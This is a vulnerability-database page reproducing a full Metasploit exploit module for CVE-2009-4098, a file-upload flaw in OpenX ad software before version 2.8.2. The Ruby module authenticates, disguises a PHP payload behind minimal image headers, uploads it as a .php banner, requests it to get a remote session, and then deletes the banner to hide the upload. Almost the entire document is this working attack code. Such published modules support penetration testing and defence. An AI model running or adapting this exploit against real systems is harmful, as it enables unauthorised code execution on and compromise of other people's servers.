Lucene search
K

OpenX banner-edit.php File Upload PHP Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 25 Views

OpenX banner-edit.php File Upload PHP Code Execution. Vulnerability allows authenticated users to upload files with arbitrary extensions to be used as banner creative, enabling arbitrary PHP code execution

Code

                                                ##
# $Id: openx_banner_edit.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'OpenX banner-edit.php File Upload PHP Code Execution',
			'Description'    => %q{
					This module exploits a vulnerability in the OpenX advertising software.
				In versions prior to version 2.8.2, authenticated users can upload files
				with arbitrary extensions to be used as banner creative content. By uploading
				a file with a PHP extension, an attacker can execute arbitrary PHP code.

				NOTE: The file must also return either "png", "gif", or "jpeg" as its image
				type as returned from the PHP getimagesize() function.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2009-4098' ],
					[ 'OSVDB', '60499' ],
					[ 'BID', '37110' ],
					[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2009-11/0166.html' ],
					[ 'URL', 'https://developer.openx.org/jira/browse/OX-5747' ],
					[ 'URL', 'http://www.openx.org/docs/2.8/release-notes/openx-2.8.2' ],
					# References for making small images:
					[ 'URL', 'http://php.net/manual/en/function.getimagesize.php' ],
					[ 'URL', 'http://gynvael.coldwind.pl/?id=223' ],
					[ 'URL', 'http://gynvael.coldwind.pl/?id=224' ],
					[ 'URL', 'http://gynvael.coldwind.pl/?id=235' ],
					[ 'URL', 'http://programming.arantius.com/the+smallest+possible+gif' ],
					[ 'URL', 'http://stackoverflow.com/questions/2253404/what-is-the-smallest-valid-jpeg-file-size-in-bytes' ]
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => '-find',
						},
					'Space'       => 1024,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Nov 24 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "OpenX directory path", "/openx/"]),
				OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username' ]),
				OptString.new('DESC', [ true, 'The description to use for the banner', 'Temporary banner']),
			], self.class)
	end

	def check
		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'www/admin/'
		res = send_request_raw(
			{
				'uri' => uri
			}, 25)

		if (res and res.body =~ /v.?([0-9]\.[0-9]\.[0-9])/)
			ver = $1
			vers = ver.split('.').map { |v| v.to_i }
			return Exploit::CheckCode::Safe if (vers[0] > 2)
			return Exploit::CheckCode::Safe if (vers[1] > 8)
			return Exploit::CheckCode::Safe if (vers[0] == 2 && vers[1] == 8 && vers[2] >= 2)
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit

		# tiny images :)
		tiny_gif = "GIF89a" +
			"\x01\x00\x01\x00\x00" +
			[1,1,0x80|(2**(2+rand(3)))].pack('nnC') +
			"\xff\xff\xff\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b"
		tiny_png = "\x89PNG\x0d\x0a\x1a\x0a" +
			rand_text_alphanumeric(8) +
			[1,1,0].pack('NNC')
		tiny_jpeg = "\xff\xd8\xff\xff" +
			[0xc0|rand(16), rand(8), 2**(2+rand(3)), 1, 1, 1].pack('CnCnnC')
		tiny_imgs = [ tiny_gif, tiny_png, tiny_jpeg ]

		# Payload
		cmd_php = '<?php ' + payload.encoded + '?>'
		content = tiny_imgs[rand(tiny_imgs.length)] + cmd_php

		# Static files
		img_dir     = 'images/'
		uri_base    = ''
		uri_base << datastore['URI']
		uri_base << '/' if uri_base[-1,1] != '/'
		uri_base << 'www/'

		# Need to login first :-/
		cookie = openx_login(uri_base)
		if (not cookie)
			raise RuntimeError, 'Unable to login!'
		end
		print_status("Logged in successfully (cookie: #{cookie})")

		# Now, check for an advertiser / campaign
		ids = openx_find_campaign(uri_base, cookie)
		if (not ids)
			# TODO: try to add an advertiser and/or campaign
			raise RuntimeError, 'The system has no advertisers or campaigns!'
		end
		adv_id = ids[0]
		camp_id = ids[1]
		print_status("Using advertiser #{adv_id} and campaign #{camp_id}")

		# Add the banner >:)
		ban_id = openx_upload_banner(uri_base, cookie, adv_id, camp_id, content)
		if (not ban_id)
			raise RuntimeError, 'Unable to upload the banner!'
		end
		print_status("Successfully uploaded the banner image with id #{ban_id}")

		# Find the filename
		ban_fname = openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
		if (not ban_fname)
			raise RuntimeError, 'Unable to find the banner filename!'
		end
		print_status("Resolved banner id to name: #{ban_fname}")

		# Request it to trigger the payload
		res = send_request_raw({
				'uri' => uri_base + 'images/' + ban_fname + '.php'
			})

		# Delete the banner :)
		if (not openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id))
			print_error("WARNING: Unable to automatically delete the banner :-/")
		else
			print_status("Successfully deleted banner # #{ban_id}")
		end

		print_status("You should have a session now.")

		handler

	end


	def openx_login(uri_base)

		res = send_request_raw(
			{
				'uri' => uri_base + 'admin/index.php'
			}, 10)
		if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/)
			return nil
		end
		cookie = $1

		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri_base + 'admin/index.php',
				'vars_post' =>
					{
						'oa_cookiecheck' => cookie,
						'username' => datastore['USERNAME'],
						'password' => datastore['PASSWORD'],
						'login' => 'Login'
					},
				'headers'   =>
					{
						'Cookie'  => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
					},
			}, 10)
		if (not res or res.code != 302)
			return nil
		end

		# return the cookie
		cookie
	end


	def openx_find_campaign(uri_base, cookie)
		res = send_request_raw(
			{
				'uri' => uri_base + 'admin/advertiser-campaigns.php',
				'headers' =>
					{
						'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
					},
			})
		if not (res and res.body =~ /campaign-edit\.php\?clientid=([^&])&campaignid=([^\'])\'/)
			return nil
		end

		adv_id = $1.to_i
		camp_id = $2.to_i

		[ adv_id, camp_id ]
	end


	def mime_field(boundary, name, data, filename = nil, type = nil)
		ret = ''
		ret << '--' + boundary + "\r\n"
		ret << "Content-Disposition: form-data; name=\"#{name}\""
		if (filename)
			ret << "; filename=\"#{filename}\""
		end
		ret << "\r\n"
		if (type)
			ret << "Content-Type: #{type}\r\n"
		end
		ret << "\r\n"
		ret << data + "\r\n"
		ret
	end


	def openx_upload_banner(uri_base, cookie, adv_id, camp_id, code_img)
		# Generate some random strings
		boundary    = ('-' * 8) + rand_text_alphanumeric(32)
		cmdscript   = rand_text_alphanumeric(8+rand(8))

		# Upload payload (file ending .php)
		data = ""
		data << mime_field(boundary, "_qf__bannerForm", "")
		data << mime_field(boundary, "clientid", adv_id.to_s)
		data << mime_field(boundary, "campaignid", camp_id.to_s)
		data << mime_field(boundary, "bannerid", "")
		data << mime_field(boundary, "type", "web")
		data << mime_field(boundary, "status", "")
		data << mime_field(boundary, "MAX_FILE_SIZE", "2097152")
		data << mime_field(boundary, "replaceimage", "t")
		data << mime_field(boundary, "replacealtimage", "t")
		data << mime_field(boundary, "description", datastore['DESC'])
		data << mime_field(boundary, "upload", code_img, "#{cmdscript}.php", "application/octet-stream")
		data << mime_field(boundary, "checkswf", "1")
		data << mime_field(boundary, "uploadalt", "", "", "application/octet-stream")
		data << mime_field(boundary, "url", "http://")
		data << mime_field(boundary, "target", "")
		data << mime_field(boundary, "alt", "")
		data << mime_field(boundary, "statustext", "")
		data << mime_field(boundary, "bannertext", "")
		data << mime_field(boundary, "keyword", "")
		data << mime_field(boundary, "weight", "1")
		data << mime_field(boundary, "comments", "")
		data << mime_field(boundary, "submit", "Save changes")
		#data << mime_field(boundary, "", "")
		data << '--' + boundary + '--'

		res = send_request_raw(
			{
				'uri'     => uri_base + "admin/banner-edit.php",
				'method'  => 'POST',
				'data'    => data,
				'headers' =>
					{
						'Content-Length' => data.length,
						'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
						'Cookie'         => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
					}
			}, 25)

		if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
			return nil
		end

		# Ugh, now we have to get the banner id!
		res = send_request_raw(
			{
				'uri'     => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}",
				'method'  => 'GET',
				'headers' =>
					{
						'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
					}
			})

		if not (res and res.body.length > 0)
			return nil
		end

		res.body.each_line { |ln|
			# make sure the title we used is on this line
			regexp = Regexp.escape(datastore['DESC'])
			next if not (ln =~ /#{regexp}/)

			next if not (ln =~ /banner-edit\.php\?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=([^\']+)\'/)

			# found it! (don't worry about dupes)
			return $1.to_i
		}

		# Didn't find it :-/
		nil
	end


	def openx_find_banner_filename(uri_base, cookie, adv_id, camp_id, ban_id)
		# Ugh, now we have to get the banner name too!
		res = send_request_raw(
			{
				'uri'     => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
				'method'  => 'GET',
				'headers' =>
					{
						'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
					}
			})

		if not (res and res.body =~ /\/www\/images\/([0-9a-f]+)\.php/)
			return nil
		end

		return $1
	end


	def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id)
		res = send_request_raw(
			{
				'uri'     => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}",
				'method'  => 'GET',
				'headers' =>
					{
						'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}",
					}
			})

		if not (res and res.code == 302 and res.headers['Location'] =~ /campaign-banners\.php/)
			return nil
		end

		true
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation